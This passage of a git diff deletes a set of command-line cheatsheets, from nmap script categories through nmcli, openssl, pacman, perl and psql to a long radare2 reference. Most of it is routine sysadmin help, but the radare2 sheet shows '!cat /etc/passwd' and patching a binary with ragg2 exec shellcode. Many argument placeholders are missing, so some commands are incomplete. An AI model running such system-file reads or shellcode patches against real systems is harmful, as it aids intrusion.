network. -- brute: Attempt to guess passwords on target systems, for a variety of protocols, including http, SNMP, IAX, MySQL, VNC, etc. -- default: Scripts run automatically when -sC or -A are used. -- discovery: Try to learn more information about target hosts through public sources of information, SNMP, directory services, and more. -- dos: May cause denial of service conditions in target hosts. -- exploit: Attempt to exploit target systems. -- external: Interact with third-party systems not included in target list. -- fuzzer: Send unexpected input in network protocol fields. -- intrusive: May crash target, consume excessive resources, or otherwise impact target machines in a malicious fashion. -- malware: Look for signs of malware infection on the target hosts. -- safe: Designed not to impact target in a negative fashion. -- version: Measure the version of software or protocols on the target hosts. -- vul: Measure whether target systems have a known vulnerability. diff --git a/assets/cheatsheets/nmcli b/assets/cheatsheets/nmcli deleted file mode 100644 index c30e8e0..0000000 --- a/assets/cheatsheets/nmcli +++ /dev/null @@ -1,47 +0,0 @@ ---- -tags: [ networking ] ---- -# Connect to a wireless access point - Parameters: -# -- the name of your wireless interface -# -- the SSID of the access point -# -- the WiFi password -nmcli d wifi connect password iface - -# Disconnect from WiFi - Parameters: -# -- the name of your wireless interface -nmcli d wifi disconnect iface - -# Get WiFi status (enabled / disabled) -nmcli radio wifi - -# Enable / Disable WiFi -nmcli radio wifi - -# Show all available WiFi access points -nmcli dev wifi list - -# Refresh the available WiFi connection list -nmcli dev wifi rescan - -# Show all available connections -nmcli con - -# Show only active connections -nmcli con show --active - -# Review the available devices -nmcli dev status - -# Add a dynamic ethernet connection - parameters: -# -- the name of the connection -# -- the name of the interface -nmcli con add type ethernet con-name ifname - -# Import OpenVPN connection settings from file: -nmcli con import type openvpn file - -# Bring up the ethernet connection -nmcli con up - -# Show WiFi password and QR code -nmcli dev wifi show diff --git a/assets/cheatsheets/notify-send b/assets/cheatsheets/notify-send deleted file mode 100644 index 6516064..0000000 --- a/assets/cheatsheets/notify-send +++ /dev/null @@ -1,4 +0,0 @@ -# To send a desktop notification via dbus: -notify-send -i 'icon-file/name' -a 'application_name' 'summary' 'body of message' - -# The -i and -a flags can be omitted if unneeded. diff --git a/assets/cheatsheets/nova b/assets/cheatsheets/nova deleted file mode 100644 index 6472145..0000000 --- a/assets/cheatsheets/nova +++ /dev/null @@ -1,20 +0,0 @@ -# To list VMs on current tenant: -nova list - -# To list VMs of all tenants (admin user only): -nova list --all-tenants - -# To boot a VM on a specific host: -nova boot --nic net-id= \ - --image \ - --flavor \ - --availability-zone nova: - -# To stop a server: -nova stop - -# To start a server: -nova start - -# To attach a network interface to a specific VM: -nova interface-attach --net-id diff --git a/assets/cheatsheets/npm b/assets/cheatsheets/npm deleted file mode 100644 index 48aa18a..0000000 --- a/assets/cheatsheets/npm +++ /dev/null @@ -1,28 +0,0 @@ ---- -tags: [ packaging ] ---- -# Every command shown here can be used with the `-g` switch for global scope - -# To install a package in the current directory: -npm install - -# To install a package, and save it in the `dependencies` section of `package.json`: -npm install --save - -# To install a package, and save it in the `devDependencies` section of `package.json`: -npm install --save-dev - -# To show outdated packages in the current directory: -npm outdated - -# To update outdated packages: -npm update - -# To update `npm` (will override the one shipped with Node.js): -npm install -g npm - -# To uninstall a package: -npm uninstall - -# To set the `authToken` using env variable `NPM_TOKEN`: -npm config set //npm.intra/:_authToken=\${NPM_TOKEN} diff --git a/assets/cheatsheets/ntp b/assets/cheatsheets/ntp deleted file mode 100644 index 2816e53..0000000 --- a/assets/cheatsheets/ntp +++ /dev/null @@ -1,33 +0,0 @@ -# To verify if ntpd is running: -service ntp status - -# To start ntpd if not running: -service ntp start - -# To display current hardware clock value: -sudo hwclock -r - -# To apply system time to hardware time: -sudo hwclock --systohc - -# To apply hardware time to system time: -sudo hwclock --hctosys - -# To set hwclock to local time: -sudo hwclock --localtime - -# To set hwclock to UTC: -sudo hwclock --utc - -# To set hwclock manually: -sudo hwclock --set --date="8/10/15 13:10:05" - -# To query surrounding stratum time servers -ntpq -pn - -# To config file: -/etc/ntp.conf - -# To driftfile: -# location of "drift" of your system clock compared to ntp servers: -/var/lib/ntp/ntp.drift diff --git a/assets/cheatsheets/numfmt b/assets/cheatsheets/numfmt deleted file mode 100644 index 563b47e..0000000 --- a/assets/cheatsheets/numfmt +++ /dev/null @@ -1,2 +0,0 @@ -# To convert bytes to Human readable format -numfmt --to=iec --suffix=B --padding=7 1048576 diff --git a/assets/cheatsheets/od b/assets/cheatsheets/od deleted file mode 100644 index 0ec89dd..0000000 --- a/assets/cheatsheets/od +++ /dev/null @@ -1,11 +0,0 @@ -# To dump a file in octal format: -od -od -o -od -t o2 - -# To dump a file in hexadecimal format: -od -x -od -t x2 - -# To dump a file in hexadecimal format, with hexadecimal offsets and a space between each byte: -od -A x -t x1 diff --git a/assets/cheatsheets/openssl b/assets/cheatsheets/openssl deleted file mode 100644 index 2a1470f..0000000 --- a/assets/cheatsheets/openssl +++ /dev/null @@ -1,55 +0,0 @@ -# To create a 2048-bit private key: -openssl genrsa -out server.key 2048 - -# To create the Certificate Signing Request (CSR): -openssl req -new -key server.key -out server.csr - -# To sign a certificate using a private key and CSR: -openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt - -# (The above commands may be run in sequence to generate a self-signed SSL certificate.) - -# To show certificate information for a certificate signing request -openssl req -text -noout -in server.csr - -# To show certificate information for generated certificate -openssl x509 -text -noout -in server.crt - -# To get the sha256 fingerprint of a certificate -openssl x509 -in server.crt -noout -sha256 -fingerprint - -# To view certificate expiration: -echo | openssl s_client -connect :443 2> /dev/null | \ -awk '/-----BEGIN/,/END CERTIFICATE-----/' | \ -openssl x509 -noout -enddate - -# To generate Diffie-Hellman parameters: -openssl dhparam -outform PEM -out dhparams.pem 2048 - -# To test an https server: -openssl s_client -connect 10.240.2.130:433 - -# High-quality options for openssl for symmetric (secret key) encryption - -This is what knowledgable people consider a good set of options for -symmetric encryption with openssl to give you a high-quality result. -Also, always remember that the result is only as good as the password -you use. You must use a strong password otherwise encryption is meaningless. - -openssl enc -e -aes-256-cbc \ - -salt \ - -pbkdf2 \ - -iter 1000000 \ - -md sha512 \ - -base64 \ - -in somefile \ - -out somefile.enc # to encrypt - -openssl enc -d -aes-256-cbc \ - -salt \ - -pbkdf2 \ - -iter 1000000 \ - -md sha512 \ - -base64 \ - -in somefile.enc \ - -out somefile # to decrypt diff --git a/assets/cheatsheets/org-mode b/assets/cheatsheets/org-mode deleted file mode 100644 index 785cdb8..0000000 --- a/assets/cheatsheets/org-mode +++ /dev/null @@ -1,46 +0,0 @@ - Begin org-mode ALT-x org-mode - Save CTRL-x CTRL-s - Export in other file formats (eg HTML,PDF) CTRL-c CTRL-e - -# Outline - - Section heading * - New headline ALT-return - Move headline up or down ALT-up_arrow/down_arrow - Adjust indent depth of headline ALT-left_arrow/right_arrow - Open/collapse section TAB - Open/collapse All CTRL-TAB - -# To-Do Lists - - Mark list item as TODO ** TODO - Cycle through workflow SHIFT-left_arrow/right_arrow - Show only outstanding TODO items CTRL-c CTRL-v - -# Tables - - Table column separator Vertical/pipe character - Reorganize table TAB - Move column ALT-left_arrow/right_arrow - Move row ALT-up_arrow/down_arrow - -# Styles - - *bold* - /italic/ - _underlined_ - =code= - ~verbatim~ - +strike-through+ - -# Heading - - Header -*- mode: org -*- - -# .emacs - - To make org-mode automatically wrap lines: - - (add-hook 'org-mode-hook - '(lambda () - (visual-line-mode 1))) diff --git a/assets/cheatsheets/p4 b/assets/cheatsheets/p4 deleted file mode 100644 index d956f8c..0000000 --- a/assets/cheatsheets/p4 +++ /dev/null @@ -1,7 +0,0 @@ -tags: [ vcs ] - -# To print details related to client and server configuration: -p4 info - -# To open a file and add it to depot: -p4 add diff --git a/assets/cheatsheets/pacman b/assets/cheatsheets/pacman deleted file mode 100644 index b9e6a44..0000000 --- a/assets/cheatsheets/pacman +++ /dev/null @@ -1,59 +0,0 @@ ---- -tags: [ packaging ] ---- -# To search for a package: -pacman -Ss ... - -# To update the local package base and upgrade all out-of-date packages: -pacman -Suy - -# To install a package: -pacman -S ... - -# To uninstall a package: -pacman -R ... - -# To uninstall a package and its depedencies, removing all new orphans: -pacman -Rcs ... - -# To get information about package: -pacman -Si ... - -# To install a package from builded package file (.tar.xz): -pacman -U - -# To list the commands provided by an installed package: -pacman -Ql ... | sed -n -e 's/.*\/bin\///p' | tail -n +2 - -# To list explicitly installed packages: -pacman -Qe - -# To list the top-most recent explicitly installed packages (not in the base groups): -expac --timefmt='%Y-%m-%d %T' '%l\t%n' $(comm -23 <(pacman -Qeq|sort) <(pacman -Qqg base base-devel|sort)) | sort -r | head -20 - -# To list orphan packages (installed as dependencies and not required anymore): -pacman -Qdt - -# To list installed packages sorted by size -pacman -Qi | awk '/^Name/ {name=$3} /^Installed Size/ {print name, $4 substr($5,1,1)}' | column -t | sort -rhk2 | cat -n | tac - -# You can't directly install packages from the Arch User Database (AUR) with -# pacman. You need an AUR helper program such as `yay` or `paru` to do that. -# But considering that all of those are themselves in the AUR, here is how to -# do that manualy. -# -# Installing a package from AUR is a relatively simple process: -# - Make sure that you have the `base-devel` and `git` packages installed -# - Retrieve the repository corresponding to the package from the AUR website -# - Run `makepkg` in the cloned repository -# - Use `pacman` to install the created package -# -# Ensure that have `base-devel` and `git`: -pacman -S --needed base-devel git -# Retrieve the repository: -git clone https://aur.archlinux.org/.git -cd -# Build the package: -makepkg -s -# Install: -sudo pacman -U diff --git a/assets/cheatsheets/pactl b/assets/cheatsheets/pactl deleted file mode 100644 index c669141..0000000 --- a/assets/cheatsheets/pactl +++ /dev/null @@ -1,12 +0,0 @@ ---- -syntax: bash -tags: [ audio, pulseaudio ] ---- -# INCREASE the volume of default sink by 2.5% -pactl set-sink-volume @DEFAULT_SINK@ +2.5% - -# DECREASE the volume of default sink by 2.5% -pactl set-sink-volume @DEFAULT_SINK@ -2.5% - -# Toggle mute the default sink -pactl set-sink-mute @DEFAULT_SINK@ toggle diff --git a/assets/cheatsheets/pass b/assets/cheatsheets/pass deleted file mode 100644 index e2d5e3f..0000000 --- a/assets/cheatsheets/pass +++ /dev/null @@ -1,26 +0,0 @@ -# Initalize password store using a gpg id: -pass init - -# Reencrypt data in subdirectory: -pass init -p - -# Insert (Create or overwrite) data into a file: -pass insert [-m|--multiline] - -# Automatically generate a password of length n: -pass generate - -# Show password store: -pass - -# Edit an entry: -pass edit - -# Display content of an entry: -pass - -# Copy line n of entry to clipboard (Line 0 if none if specified): -pass -c - -# Initalize a git repository (All changes made by pass will be committed automatically) -pass git init diff --git a/assets/cheatsheets/paste b/assets/cheatsheets/paste deleted file mode 100644 index 1059400..0000000 --- a/assets/cheatsheets/paste +++ /dev/null @@ -1,14 +0,0 @@ -# To concat columns from files: -paste ... - -# To list the files in the current directory in three columns: -ls | paste - - - - -# To combine pairs of lines from a file into single lines: -paste -s -d '\t\n' - -# To number the lines in a file, similar to nl(1): -sed = | paste -s -d '\t\n' - - - -# To create a colon-separated list of directories named bin, suitable for use in the PATH environment variable: -find / -name bin -type d | paste -s -d : - diff --git a/assets/cheatsheets/patch b/assets/cheatsheets/patch deleted file mode 100644 index 62a4db2..0000000 --- a/assets/cheatsheets/patch +++ /dev/null @@ -1,13 +0,0 @@ -# To patch one file: -patch < - -# To reverse a patch: -patch -R < - -# To patch all files in a directory, adding any missing new files: -# -p strips leading slashes -$ cd dir -$ patch -p1 -i - -# To patch files in a directory, with one level (/) offset: -patch -p1 -r < diff --git a/assets/cheatsheets/pdftk b/assets/cheatsheets/pdftk deleted file mode 100644 index 58c5646..0000000 --- a/assets/cheatsheets/pdftk +++ /dev/null @@ -1,11 +0,0 @@ -# To concatenate all pdf files into one: -pdftk *.pdf cat output all.pdf - -# To concatenate specific pdf files into one: -pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf - -# To concatenate pages 1 to 5 of first.pdf with page 3 of second.pdf: -pdftk A=fist.pdf B=second.pdf cat A1-5 B3 output new.pdf - -# To extract pages 2 to 3 from a file: -pdftk file.pdf cat 2-3 output file_with_page_2_and_3.pdf diff --git a/assets/cheatsheets/perl b/assets/cheatsheets/perl deleted file mode 100644 index fb37797..0000000 --- a/assets/cheatsheets/perl +++ /dev/null @@ -1,78 +0,0 @@ ---- -tags: [ perl ] ---- -See https://perldoc.perl.org/perlrun - -# View the perl version (long and short version): -perl -v -perl -V - -# Run a program: -perl [args] - -# Syntax check a program: -perl -cw - -# Force warnings everywhere in the program: -perl -W - -# Add path1 to the module search path: -# The PERL5LIB env var does this too -perl -I [args] - -# Start the program in the perl debugger: -# See https://perldoc.perl.org/perldebug) -perl -d - -# Specify the program text as the argument to -e: -perl -e -perl -e 'print "Hello World!\n"' - -# Enable Unicode: -perl -C -e - -# Specify the program text and enable new features: -perl -E 'say "Hello World!"' - -# Specify the program text and enable new features: -perl -M[=import,list] -E - -# Compile then decompile a program with B::Deparse: -perl -MO=Deparse -E - -# Process files line-by-line (output on your own): -perl -ne [files] - -# Process files line-by-line (output $_ at each loop iteration): -perl -pe [files] - -# Read an entire file (or STDIN) into one big string. -# With v5.36 and later, -g is the same as -0777 -perl -0777 -ne [files] -perl -0777 -pe [files] -perl -g -pe [files] - -# Split input lines on whitespace with -a, put into @F: -perl -ane - -# -a implies -n: -perl -ae - -# Splits lines on alternate separator with -F: -perl -aF -e - -# In-place editing with -p: -perl -pe [files] - -# In-place editing with -p and backup original with -i: -perl -pie [files] -perl -pi.bak -e [files] - -# Replace string "\n" to newline: -echo -e "foo\nbar\nbaz" | perl -pe 's/\n/\\n/g;' - -# Replace newline with multiple line to space: -cat test.txt | perl -0pe "s/test1\ntest2/test1 test2/m" - -# Replace double newlines with single newline: -perl -pe '$/=""; s/(\n)+/$1/' my-file diff --git a/assets/cheatsheets/perlbrew b/assets/cheatsheets/perlbrew deleted file mode 100644 index 3535371..0000000 --- a/assets/cheatsheets/perlbrew +++ /dev/null @@ -1,28 +0,0 @@ ---- -tags: [ perl ] ---- -See https://github.com/gugod/App-perlbrew - -# setup perlbrew -perlbrew init - -# list perls available to install -perlbrew available - -# install a particular perl version (see `perlbrew available`) -perlbrew install - -# list perls installed -perlbrew list - -# switch to a particular perl version -perlbrew switch - -# run a program against all installed versions -perlbrew exec perl - -# get list of installed modules in the current perl -perlbrew list-modules - -# clone modules from one version to another -perlbrew clone-modules diff --git a/assets/cheatsheets/perldoc b/assets/cheatsheets/perldoc deleted file mode 100644 index daacf0e..0000000 --- a/assets/cheatsheets/perldoc +++ /dev/null @@ -1,29 +0,0 @@ ---- -tags: [ perl ] ---- -# read about a perl builtin function -perldoc -f - -# read about a perl builtin variable (probably need to quote it) -perldoc -v - -# list the various doc pages -perldoc perltoc - -# see a perldoc page, such as the Data Structures Cookbook (perldsc) -perldoc -perldoc perldsc - -# read an installed module's docs -perldoc - -# see the location of a module's docs -# this is often the same file as the code -perldoc -l - -# see the raw source of the module docs -# this is often the same file as the code, but sometimes not -perldoc -m - -# read the perldoc docs -perldoc perldoc diff --git a/assets/cheatsheets/pgrep b/assets/cheatsheets/pgrep deleted file mode 100644 index 220974d..0000000 --- a/assets/cheatsheets/pgrep +++ /dev/null @@ -1,5 +0,0 @@ -# To get a list of PIDs matching : -pgrep - -# To kill all PIDs matching : -pgrep -f | xargs kill diff --git a/assets/cheatsheets/php b/assets/cheatsheets/php deleted file mode 100644 index 953c4bf..0000000 --- a/assets/cheatsheets/php +++ /dev/null @@ -1,23 +0,0 @@ -# To view the php version: -php -v - -# To view the installed php modules: -php -m - -# To view phpinfo() information: -php -i - -# To lint a php file: -php -l file.php - -# To lint all php files within the cwd: -find . -name "*.php" -print0 | xargs -0 -n1 -P8 php -l - -# To enter an interactive shell: -php -a - -# To locate the system's php.ini files: -php -i | grep "php.ini" - -# To start a local webserver for the cwd on port 3000 (requires php >= 5.4): -php -S localhost:3000 diff --git a/assets/cheatsheets/ping b/assets/cheatsheets/ping deleted file mode 100644 index e72d5d6..0000000 --- a/assets/cheatsheets/ping +++ /dev/null @@ -1,11 +0,0 @@ ---- -tags: [ networking ] ---- -# To ping with 15 packets: -ping -c 15 - -# To ping with 15 packets, one every .5 seconds: -ping -c 15 -i .5 - -# To test if a packet size of 1500 bytes is supported (to check the MTU for example): -ping -s 1500 -c 10 -M do diff --git a/assets/cheatsheets/ping6 b/assets/cheatsheets/ping6 deleted file mode 100644 index 5547245..0000000 --- a/assets/cheatsheets/ping6 +++ /dev/null @@ -1,5 +0,0 @@ ---- -tags: [ networking ] ---- -# To Get all ipv6 neighbors via broadcast ping: -ping6 -I eth0 ff02::1 diff --git a/assets/cheatsheets/pip b/assets/cheatsheets/pip deleted file mode 100644 index a1e1dcc..0000000 --- a/assets/cheatsheets/pip +++ /dev/null @@ -1,33 +0,0 @@ ---- -tags: [ packaging ] ---- -# To search for a package: -pip search - -# To install packages: -pip install ... - -# To install a package in user space: -pip install --user - -# To upgrade a package: -pip install --upgrade - -# To output and install packages in a requirement file: -pip freeze > requirements.txt -pip install -r requirements.txt - -# To show details of a package: -pip show - -# To list outdated packages: -pip list --outdated - -# To upgrade all outdated packages: -pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pip install -U - -# To upgrade outdated packages on latest version of pip: -pip list --outdated --format=freeze | cut -d = -f 1 | xargs -n1 pip install -U - -# To install specific version of a package: -pip install -I SomePackage1==1.1.0 'SomePackage2>=1.0.4' diff --git a/assets/cheatsheets/pkcon b/assets/cheatsheets/pkcon deleted file mode 100644 index d91fd38..0000000 --- a/assets/cheatsheets/pkcon +++ /dev/null @@ -1,8 +0,0 @@ ---- -tags: [ packaging ] ---- -# To update cached information about available updates: -pkcon refresh - -# To update installed packages: -pkcon update diff --git a/assets/cheatsheets/pkgtools b/assets/cheatsheets/pkgtools deleted file mode 100644 index 1865337..0000000 --- a/assets/cheatsheets/pkgtools +++ /dev/null @@ -1,27 +0,0 @@ ---- -tags: [ packaging ] ---- -# To create a Slackware package from a structured directory and sub-tree: -cd -su - c 'makepkg --linkadd y --chown n $foo-1.0.3-x86_64-1_tag.tgz' - -# To install a Slackware package: -installpkg foo-1.0.3-x86_64-1.tgz - -# To install a Slackware package to non-standard location: -ROOT=/path/to/dir installpkg foo-1.0.4-noarch-1.tgz - -# To create backup of files that will be overwritten when installing: -tar czvf /tmp/backup.tar.gz $(installpkg --warn foo-1.0.4-noarch-1.tgz) - -# To upgrade a Slackware package including files only in new version: -upgradepkg --install-new foo-1.0.6-noarch-1.tgz - -# To upgrade a Slackware package even if version is the same: -upgradepkg --reinstall foo-1.0.4-noarch-1.tgz - -# To remove a Slackware package: -removepkg foo-0.2.8-x86_64-1 - -# To remove a Slackware package, retaining a backup (uninstalled) copy: -removepkg -copy foo-0.2.8-x86_64-1 # -> /var/log/setup/tmp/preserved_packages/foo... diff --git a/assets/cheatsheets/pkill b/assets/cheatsheets/pkill deleted file mode 100644 index b6c2fae..0000000 --- a/assets/cheatsheets/pkill +++ /dev/null @@ -1,5 +0,0 @@ -# To kill a process using its full process name: -pkill - -# To kill a process by its partial name: -pkill -f diff --git a/assets/cheatsheets/plenv b/assets/cheatsheets/plenv deleted file mode 100644 index a4edef0..0000000 --- a/assets/cheatsheets/plenv +++ /dev/null @@ -1,34 +0,0 @@ ---- -tags: [ perl ] ---- -See https://github.com/tokuhirom/plenv - -# list available perl versions -plenv install --list - -# install perl5 binary -plenv install [Configure options] - -# execute command on current perl -plenv exec - -# change global default perl to a particular version -plenv global - -# change local perl to a particular version -plenv local - -# run this command after install cpan module, contains executable script. -plenv rehash - -# install cpanm to current perl -plenv install-cpanm - -# migrate modules from one version to another -plenv migrate-modules - -# locate a program file in the plenv's path -plenv which - -# display version -plenv --version diff --git a/assets/cheatsheets/poetry b/assets/cheatsheets/poetry deleted file mode 100644 index 3c11d8a..0000000 --- a/assets/cheatsheets/poetry +++ /dev/null @@ -1,62 +0,0 @@ ---- -syntax: bash -tags: [ python, deps ] ---- -# Regenerate lock -poetry lock --no-update - -# New package -poetry new my-package - -# Init project -poetry init - -# Install project -poetry install -poetry install --no-dev - -# Remove old dependencies no longer present in the lock file -poetry install --remove-untracked - -# Update package(s) -poetry update -poetry update ... - -# Add deps -poetry add @latest -poetry add -D flake8 black isort pytest pytest-cov mypy types-requests -poetry add git+https://github.com/sdispater/pendulum.git#develop -poetry add git+ssh://git@github.com/sdispater/pendulum.git#2.0.5 -poetry add ./my-package/ ../my-package-2/ -poetry add "[]" - -# Editable mode -```toml -[tool.poetry.dependencies] -my-package = {path = "../my/path", develop = true} -``` - -# Remove package -poetry remove - -# Show packages -poetry show - -# Build source and wheels -poetry build - -# Publish package -poetry publish - -# Run commands -poetry run python -v - -# Scripts -```toml -[tool.poetry.scripts] -my-script = "my_module:main" -``` -poetry run my-script - -# Shell -poetry shell diff --git a/assets/cheatsheets/popd b/assets/cheatsheets/popd deleted file mode 100644 index c01d45d..0000000 --- a/assets/cheatsheets/popd +++ /dev/null @@ -1,2 +0,0 @@ -# To return to the directory at the top of the `pushd' stack: -popd diff --git a/assets/cheatsheets/port b/assets/cheatsheets/port deleted file mode 100644 index 79fdac6..0000000 --- a/assets/cheatsheets/port +++ /dev/null @@ -1,92 +0,0 @@ ---- -syntax: bash -tags: [ mac, deps ] ---- -# Update to the latest version of MacPorts, and sync the latest ports definitions: -sudo port selfupdate - -# List all ports that are currently considered outdated: -port echo outdated - -# Upgrade all currently outdated ports: -sudo port upgrade outdated - -# List all ports that are currently *inactive*: -# (A port is usually deactivated when a newer version of it gets installed.) -port echo inactive - -# Completely remove and uninstall all *deactivated* ports: -# This is very useful to do after upgrading all your outdated ports. -sudo port uninstall inactive - -# Install a particular port: -sudo port install - -# Install a particular port with full debug output: -sudo port -d install - -# Uninstall a particular port: -sudo port uninstall - -# Completely clean out all temporary assets of a port, such as build files, -# the working directory and any downloaded archives: -sudo port clean -f --all - -# Upgrade a particular port -sudo port upgrade - -# Deactivate a currently active port: -sudo port deactivate - -# Activate a currently deactive port: -sudo port activate - -# Search for a port -port search - -# View information about a particular port -port info - -# List the ports that have been explicitly requested by the user to be installed: -port echo requested - -# List all ports that are currently installed: -port echo installed - -# List the ports that this port depends on: -port deps - -# List the ports that this port depends on, then recursively list the ports -# that THOSE ports depend on as well: -port rdeps - -# List the ports that depend on this port: -port dependents - -# List the ports that depend on this port, then recursively list the ports -# that depend on THOSE: -port rdependents - -# List the files installed by a particular port: -# (Only works for currently installed ports.) -port contents - -# View a ports' notes, if any (these are usually displayed right after a port -# is installed): -port notes - -# Print the path to a port within the ports tree: -port dir - -# Print the path to the archive used to activate a given port: -# (Only works for currently installed ports) -port location - -# Print the path to a ports' Portfile: -port file - -# Print the path to the working directory for a port, if it exists: -port work - -# View help on a sub-command: -port help diff --git a/assets/cheatsheets/ps b/assets/cheatsheets/ps deleted file mode 100644 index 321cd3d..0000000 --- a/assets/cheatsheets/ps +++ /dev/null @@ -1,15 +0,0 @@ -# To list every process on the system: -ps aux - -# To list a process tree: -ps axjf - -# To list every process owned by foouser: -ps -aufoouser - -# To list every process with a user-defined format: -ps -eo pid,user,command - -# Exclude grep from your grepped output of ps. -# Add [] to the first letter. Ex: sshd -> [s]shd -ps aux | grep '[h]ttpd' diff --git a/assets/cheatsheets/psql b/assets/cheatsheets/psql deleted file mode 100644 index 2bb7a12..0000000 --- a/assets/cheatsheets/psql +++ /dev/null @@ -1,30 +0,0 @@ ---- -tags: [ database ] ---- -# psql is the PostgreSQL terminal interface. The following commands were tested on version 9.5. -# Connection options: -# -U username (if not specified current OS user is used). -# -p port. -# -h server hostname/address. - -# Connect to a specific database: -psql -U -h -d - -# Get databases on a server: -psql -U -h --list - -# Execute sql query and save output to file: -psql -U -d -c 'select * from tableName;' -o - -# Execute query and get tabular html output: -psql -U -d -H -c 'select * from tableName;' - -# Execute query and save resulting rows to csv file: -# (if column names in the first row are not needed, remove the word 'header') -psql -U -d -c 'copy (select * from tableName) to stdout with csv header;' -o - -# Read commands from file: -psql -f - -# Restore databases from file: -psql -f diff --git a/assets/cheatsheets/pushd b/assets/cheatsheets/pushd deleted file mode 100644 index 5b9608f..0000000 --- a/assets/cheatsheets/pushd +++ /dev/null @@ -1,5 +0,0 @@ -# To pushes your current directory to the top of a stack while changing to the specified directory: -pushd - -# To return use popd: -popd diff --git a/assets/cheatsheets/pwd b/assets/cheatsheets/pwd deleted file mode 100644 index c3d43b1..0000000 --- a/assets/cheatsheets/pwd +++ /dev/null @@ -1,2 +0,0 @@ -# Show the absolute path of your current working directory: -pwd diff --git a/assets/cheatsheets/pyenv b/assets/cheatsheets/pyenv deleted file mode 100644 index d12afaf..0000000 --- a/assets/cheatsheets/pyenv +++ /dev/null @@ -1,24 +0,0 @@ ---- -syntax: bash -tags: [ python, environments ] ---- -# Install the specified version of Python: -pyenv install - -# Set the specified version of Python as system's default: -pyenv global - -# Set the specified version of Python to be used in the current directory: -pyenv local - -# Create a virtual environment based on the specified Python version (requires `pyenv-virtualenv` plugin): -pyenv virtualenv - -# Uninstall the specified version of Python: -pyenv uninstall - -# List the versions installed: -pyenv versions - -# Check the version of python currently in use: -pyenv version diff --git a/assets/cheatsheets/python b/assets/cheatsheets/python deleted file mode 100644 index 26e149b..0000000 --- a/assets/cheatsheets/python +++ /dev/null @@ -1,14 +0,0 @@ -# Basic example of server with python -# Will start a Web Server in the current directory on port 8000 -# go to http://127.0.0.1:8000 - -# Python v2.7 -python -m SimpleHTTPServer -# Python 3 -python -m http.server 8000 - -# SMTP-Server for debugging, messages will be discarded, and printed on stdout. -python -m smtpd -n -c DebuggingServer localhost:1025 - -# Pretty print a json -python -m json.tool foo.json diff --git a/assets/cheatsheets/r2 b/assets/cheatsheets/r2 deleted file mode 100644 index 402a916..0000000 --- a/assets/cheatsheets/r2 +++ /dev/null @@ -1,936 +0,0 @@ -# Command Line options - -L: List of supported IO plugins - - -q: Exit after processing commands - - -w: Write mode enabled - - -i: Interprets a r2 script - - -A: Analize executable at load time (xrefs, etc) - - -n: Bare load. Do not load executable info as the entrypoint - - -c'cmds': Run r2 and execute commands (eg: r2 -wqc'wx 3c @ main') - - -p: Creates a project for the file being analyzed (CC add a comment when opening a file as a project) - - -: Opens r2 with the malloc plugin that gives a 512 bytes memory area to play with (size can be changed); Similar to r2 malloc://512 - ------------------------------------------------------------------------------------------------------------------------------ - -# Configuration properties - e: Returs configuration properties - - e : Checks a specific property: - e asm.tabs => false - - e =: Change property value - e asm.arch=ppc - - e? help about a configuration property - e? cmd.stack - - - - # Show comments at right of disassembly if they fit in screen - e asm.cmtright=true - - # Shows pseudocode in disassembly. Eg mov eax, str.ok = > eax = str.ok - e asm.pseudo = true - - # Display stack and register values on top of disasembly view (visual mode) - e cmd.stack = true - - # Solarized theme - eco solarized - - # Use UTF-8 to show cool arrows that do not look like crap :) - e scr.utf8 = true - ------------------------------------------------------------------------------------------------------------------------------ - -# Basic Commands - - ; Command chaining: x 3;s+3;pi 3;s+3;pxo 4; - - | Pipe with shell commands: pd | less - - ! Run shell commands: !cat /etc/passwd - - !! Escapes to shell, run command and pass output to radare buffer - - Note: The double exclamation mark tells radare to skip the plugin list to find an IO plugin handling this - command to launch it directly to the shell. A single one will walk through the io plugin list. - - ` Radare commands: wx `!ragg2 -i exec` - - ~ grep - - ~! grep -v - - ~[n] grep by columns afl~[0] - - ~:n grep by rows afl~:0 - - ~.. less/more mode - - +------------------------------------------------------------------- - - pi~mov,eax ; lines with mov or eax - pi~mov&eax ; lines with mov and eax - pi~mov,eax:6 ; 6 first lines with mov or eax - pd 20~call[0]:0 ; grep first column of the first row matching 'call' - - +------------------------------------------------------------------- - - .cmd Interprets command output - - +------------------------------------------------------------------- - - is* prints symbolos - .is* interprets output and define the symbols in radare (normally they are already loaded if r2 was not invoked with -n) - - +------------------------------------------------------------------- - - .. repeats last commands (same as enter \n) - - ( Used to define and run macros - - $ Used to define alias - - $$: Resolves to current address - - Offsets (@) are absolute, we can use $$ for relative ones @ $$+4 - - ? Evaluate expression - +------------------------------------------------------------------- - - [0x00000000]> ? 33 +2 - 35 0x23 043 0000:0023 35 00100011 35.0 0.000000 - Note: | and & need to be escaped - - +------------------------------------------------------------------- - - ?$? Help for variables used in expressions - - $$: Here - - $s: File size - - $b: Block size - - $l: Opcode length - - $j: When $$ is at a jmp, $j is the address where we are going to jump to - - $f: Same for jmp fail address - - $m: Opcode memory reference (e.g. mov eax,[0x10] => 0x10) - - ??? Help for ? command - - ?i Takes input from stdin. Eg ?i username - - ?? Result from previous operations - - ?s from to [step]: Generates sequence from to every - - ?p: Get physical address for given virtual address - - ?P: Get virtual address for given physical one - - ?v Show hex value of math expr - - +------------------------------------------------------------------- - - ?v 0x1625d4ca ^ 0x72ca4247 = 0x64ef968d - ?v 0x4141414a - 0x41414140 = 0xa - - +------------------------------------------------------------------- - - ?l str: Returns the length of string - - @@: Used for iteractions - - +------------------------------------------------------------------- - - wx ff @@10 20 30 Writes ff at offsets 10, 20 and 30 - wx ff @@`?s 1 10 2` Writes ff at offsets 1, 2 and 3 - wx 90 @@ sym.* Writes a nop on every symbol - - +------------------------------------------------------------------- - -# Positioning - - s address: Move cursor to address or symbol - - s-5 (5 bytes backwards) - - s- undo seek - - s+ redo seek - -# Block Size - - b size: Change block size - -# Analyze - - aa: Analyze all (fcns + bbs) same that running r2 with -A - - ahl : fake opcode length for a range of bytes - - ad: Analyze data - - ad@rsp (analize the stack) - - + Normal mode - - af: Analyze functions - - afl: List all functions - number of functions: afl~? - - afi: Returns information about the functions we are currently at - - afr: Rename function: structure and flag - - afr off: Restore function name set by r2 - - afn: Rename function - - afn strlen 0x080483f0 - - af-: Removes metadata generated by the function analysis - - af+: Define a function manually given the start address and length - af+ 0xd6f 403 checker_loop - - axt: Returns cross references to (xref to) - - axf: Returns cross references from (xref from) - - + Visual mode - - d, f: Function analysis - - d, u: Remove metadata generated by function analysis - - + 